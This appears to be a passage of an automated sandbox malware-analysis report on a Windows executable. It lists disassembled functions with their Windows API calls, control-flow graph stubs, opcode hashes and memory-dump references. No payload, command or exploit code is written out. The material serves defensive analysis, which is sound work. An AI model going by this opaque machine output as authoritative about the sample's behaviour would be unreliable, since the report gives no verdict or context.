                                                                                                                                                                                                                                                                    • Opcode ID: dc3ce6dfd5441f0fe3da7474c504ea4676138faa1660587a5b12bb8ffb091172
                                                                                                                                                                                                                                                                    • Instruction ID: 902da42e4d5f6c1a88c55b2ae0a3d96faf3fe0e19ff09dd9d3810e7cbb73dc55
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: dc3ce6dfd5441f0fe3da7474c504ea4676138faa1660587a5b12bb8ffb091172
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0601F43040860C99DB20DA94C949BEA77B9AB20304F5000FFD0C5B21C2DFBD4AC8CB5A
                                                                                                                                                                                                                                                                    Function 0040486D Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 796 40486d-4048a3 memset InitCommonControlsEx CoInitialize
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 0040487A
                                                                                                                                                                                                                                                                    • InitCommonControlsEx.COMCTL32(00000000,00001000), ref: 00404894
                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 0040489C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CommonControlsInitInitializememset
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2179856907-0
                                                                                                                                                                                                                                                                    • Opcode ID: 998f15820f2eb8c0409d07678c3fb95e6c2c3ce4e32a6725d526b5e237b95bb4
                                                                                                                                                                                                                                                                    • Instruction ID: 9edd46fe38271e1df3bbedb78e3709b6aa6731da522f9b73bec8d0ef1abbb0f5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 998f15820f2eb8c0409d07678c3fb95e6c2c3ce4e32a6725d526b5e237b95bb4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B3E0ECF1900208BBEB40DBD0EC0AF8D7AACAB44709F404064F204F61C1EBB4664887A5
                                                                                                                                                                                                                                                                    Function 00408640 Relevance: 3.1, APIs: 2, Instructions: 67memoryfileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 797 408640-408678 call 40a135 CreateFileA 800 4086c9-4086cc 797->800 801 40867a-40867c 797->801 803 4086db-4086e1 800->803 804 4086ce-4086d6 call 40a1df 800->804 801->800 802 40867e-408685 801->802 805 408687-408699 HeapAlloc 802->805 806 40869b 802->806 804->803 808 40869e-4086b5 805->808 806->808 809 4086c0-4086c6 808->809 810 4086b7-4086bd 808->810
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,02661950,?,?,?,02661DB0,00000000,00403556,00000001,?), ref: 0040866D
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(02660000,00000000,00001000,?,?,02661DB0,00000000,00403556,00000001,?,?,00000000), ref: 00408690
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocCreateFileHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1966072242-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9fe83dbc7af47c5580b2da596b44dc0f7837dfd5e837484be0b5e7596f05f0f9
                                                                                                                                                                                                                                                                    • Instruction ID: 13dd2c73a19ccdd1950029bce8e817a8f5a3ed8c04637966086a4d6159ead919
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9fe83dbc7af47c5580b2da596b44dc0f7837dfd5e837484be0b5e7596f05f0f9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D711C8333003045BC2209F9AED84D67BB9CE795771F118A3FF295A72D0CA3668448728
                                                                                                                                                                                                                                                                    Function 0040A8CD Relevance: 3.1, APIs: 2, Instructions: 56memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 811 40a8cd-40a8fa call 40a9f5 RtlAllocateHeap 814 40a955-40a95b 811->814 815 40a8fc-40a93b memset call 40afcc 811->815 815->814 818 40a93d-40a942 815->818 818->814 819 40a944 818->819 820 40a946-40a953 call 40b018 819->820 820->814
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A9F5: HeapFree.KERNEL32(00000000,-00000018,?,0040A8DD,0040D278,?,?,?,?,004010D3,00000008,00000401,00000007,0040D280,0040E4C8,00000008), ref: 0040AA36
                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000000,00000FE8,0040D278,?,?,?,?,004010D3,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278), ref: 0040A8F0
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 0040A927
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$AllocateFreememset
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2774703448-0
                                                                                                                                                                                                                                                                    • Opcode ID: 311fd2a638e6d38939b5c06e2a4098afc4488dac4ae5ae5a6f03b45bbae5389c
                                                                                                                                                                                                                                                                    • Instruction ID: 1660cd891ac1fbd28930388bf1c3fceee2244fc838e54f60e84940274d541b58
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 311fd2a638e6d38939b5c06e2a4098afc4488dac4ae5ae5a6f03b45bbae5389c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 641191B2600305AFCB209F1ADD81A4B7BA4EF55750F02452AFD18A7392D734E8208BA9
                                                                                                                                                                                                                                                                    Function 0040AB20 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401049,00000000,00001000,00000000,00000000), ref: 0040AB2C
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(02640000,00000000,0000404C,?,00401049,00000000,00001000,00000000,00000000), ref: 0040AB5A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$AllocCreate
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2618940340-0
                                                                                                                                                                                                                                                                    • Opcode ID: fc9fcbdc65180701aa2eeee164dba6ea12e6019392b14dfdec83dbbb9a04e5be
                                                                                                                                                                                                                                                                    • Instruction ID: 6d0767be2254d548b1fc66aae7a9bcd2c9d8da8475f9e0b256e65a3fb0b27916
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fc9fcbdc65180701aa2eeee164dba6ea12e6019392b14dfdec83dbbb9a04e5be
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 89E0EC72940304AFF304EF92EE59B163BE8E304711F104834F604AB3E0D6B554949B5D
                                                                                                                                                                                                                                                                    Function 0040AB70 Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(02640000,00000000,02640808,?,00401FDF,00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401), ref: 0040AB82
                                                                                                                                                                                                                                                                    • HeapDestroy.KERNELBASE(02640000,?,00401FDF,00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280), ref: 0040AB8F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$DestroyFree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2061148462-0
                                                                                                                                                                                                                                                                    • Opcode ID: 72f6c0ed6db4b4a7954d2837fbcbeb189c27122fd43536586bfd0b5def018888
                                                                                                                                                                                                                                                                    • Instruction ID: cd7eec9d1613879f622d23a25b948dbdc056ebdf5a48c6987730ead6f09a88d4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 72f6c0ed6db4b4a7954d2837fbcbeb189c27122fd43536586bfd0b5def018888
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F6D012725003049BD204BBE5FF44E6A33ACE388A00F008424F60563360C731A8549B58
                                                                                                                                                                                                                                                                    Function 0040818E Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFileAttributesA.KERNEL32(00000002,00000080,004081C7,00000000,00000000,0040330F,?,00000000,00000000,00000000,0040D01E,00000000,?,00000000,00000400,00000000), ref: 004081A5
                                                                                                                                                                                                                                                                    • DeleteFileA.KERNELBASE(00000000,004081C7,00000000,00000000,0040330F,?,00000000,00000000,00000000,0040D01E,00000000,?,00000000,00000400,00000000,00000000), ref: 004081AF
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: File$AttributesDelete
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2910425767-0
                                                                                                                                                                                                                                                                    • Opcode ID: e60d46f0f54682fd37aaf11b1bf7402e130cf3712abd82516108b870121b3c20
                                                                                                                                                                                                                                                                    • Instruction ID: 3738a121943e6d8e3349190939575fd7e08ee4e1ebd9db5bd19d6991f9e0bffb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e60d46f0f54682fd37aaf11b1bf7402e130cf3712abd82516108b870121b3c20
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 10D09230008240AAD3565B60DF0D71ABEA1AFD4745F08C83EB5C5651F4CBB8885AEB0A
                                                                                                                                                                                                                                                                    Function 00408350 Relevance: 2.5, APIs: 2, Instructions: 36memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(02660000,00000000,?,00000000,02661950,00000000,?,?,00401C6C,00000001,0040D08B,00000001,b2eargs,00000000,00000000,00000000), ref: 00408395
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(?,02661950,00000000,?,?,00401C6C,00000001,0040D08B,00000001,b2eargs,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040839E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseFreeHandleHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1642312469-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8727fef72b108780480441b1425a5ada43785fb083d6808a08be3560b9e473a9
                                                                                                                                                                                                                                                                    • Instruction ID: adac8303ae776d45d74df52cc7df555a72329c2e90185896a05fbe6ca48c8e34
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8727fef72b108780480441b1425a5ada43785fb083d6808a08be3560b9e473a9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C4F06272500300EBC320AB6AEE44E5BB7A9EBC5B50F048D3EF981672D0C638D855C759
                                                                                                                                                                                                                                                                    Function 00403297 Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00407FB0: RtlAllocateHeap.NTDLL(02940000,00000008,00000000,00403862,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040135E,OPSX,0040E438,00000000,00000000), ref: 00407FC1
                                                                                                                                                                                                                                                                      • Part of subcall function 0040812D: GetTempPathA.KERNEL32(00000104,00000000,00000104,00000007,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX), ref: 00408144
                                                                                                                                                                                                                                                                      • Part of subcall function 0040812D: LoadLibraryA.KERNEL32(Kernel32.DLL,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438,00000000,00000000), ref: 00408151
                                                                                                                                                                                                                                                                      • Part of subcall function 0040812D: GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00408163
                                                                                                                                                                                                                                                                      • Part of subcall function 0040812D: GetLongPathNameA.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438), ref: 00408170
                                                                                                                                                                                                                                                                      • Part of subcall function 0040812D: FreeLibrary.KERNEL32(00000000,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438,00000000,00000000), ref: 00408175
                                                                                                                                                                                                                                                                      • Part of subcall function 0040ABA0: HeapAlloc.KERNEL32(02640000,00000000,-00000005,?,?,0040120C,0040E48C,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280), ref: 0040ABC6
                                                                                                                                                                                                                                                                    • GetTempFileNameA.KERNEL32(00000000,0040D01E,00000000,?,00000000,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438,00000000,00000000,00000000), ref: 004032D6
                                                                                                                                                                                                                                                                      • Part of subcall function 00407EC0: memcpy.MSVCRT(00000000,00000000,00000000,00000000,00000007,?,?,00000000,00401202,00000000,00000000,00000000,00000000,00000000,00000008,00000401), ref: 00407EF1
                                                                                                                                                                                                                                                                      • Part of subcall function 0040ABA0: HeapReAlloc.KERNEL32(02640000,00000000,00000000,-00000005,?,?,0040120C,0040E48C,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007), ref: 0040ABE9
                                                                                                                                                                                                                                                                      • Part of subcall function 00407FD0: HeapFree.KERNEL32(02940000,00000000,00000000,00403304,?,00000000,00000000,00000000,0040D01E,00000000,?,00000000,00000400,00000000,00000000,00000000), ref: 00407FDE
                                                                                                                                                                                                                                                                      • Part of subcall function 004081CA: strncpy.MSVCRT ref: 004081E8
                                                                                                                                                                                                                                                                      • Part of subcall function 004081CA: strlen.MSVCRT ref: 004081F8
                                                                                                                                                                                                                                                                      • Part of subcall function 004081CA: CreateDirectoryA.KERNELBASE(?,00000000), ref: 00408232
                                                                                                                                                                                                                                                                      • Part of subcall function 00408065: GetCurrentDirectoryA.KERNEL32(00000104,00000000,00000104,00000000,?,?,00000000,0040332B,?,00000000,00000000,00000000,0040D01E,00000000,?,00000000), ref: 0040807B
                                                                                                                                                                                                                                                                      • Part of subcall function 0040AC50: strlen.MSVCRT ref: 0040AC63
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$AllocDirectoryFreeLibraryNamePathTempstrlen$AddressAllocateCreateCurrentFileLoadLongProcmemcpystrncpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1720924072-0
                                                                                                                                                                                                                                                                    • Opcode ID: d8a6746ebc75eb73c0d039e585e903dcd486e67d633534d42cd5aa045502f89e
                                                                                                                                                                                                                                                                    • Instruction ID: 19107b6d80f303fbe15ebfdd96376b83778a7f5cafc8871075e5442c275e2e7e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d8a6746ebc75eb73c0d039e585e903dcd486e67d633534d42cd5aa045502f89e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4221D675508301AFE601BF62DD85E5A77A9EB44308F044C3EF540B61B2CA3D94659B5F
                                                                                                                                                                                                                                                                    Function 00408310 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,00408960,00000000,?,00000000,?,00408862,00000000,0040C1DC,00000002), ref: 00408335
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileWrite
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3934441357-0
                                                                                                                                                                                                                                                                    • Opcode ID: f37535c48446417f7b3a1885cfc788ddd03ebbdb3e6dbbbf0349e86974b266e7
                                                                                                                                                                                                                                                                    • Instruction ID: 6508eef82e2860bdab13c1edf41aa01ea595c81e4c981c19fd9b2d52cc0496df
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f37535c48446417f7b3a1885cfc788ddd03ebbdb3e6dbbbf0349e86974b266e7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EEE0AEB6504700AFC324CFA8C948C67F7E8EB88610B00C92EA89A93600EA30F840CB61
                                                                                                                                                                                                                                                                    Function 0040527E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetExitCodeProcess.KERNELBASE(00000000,00000000), ref: 0040528F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
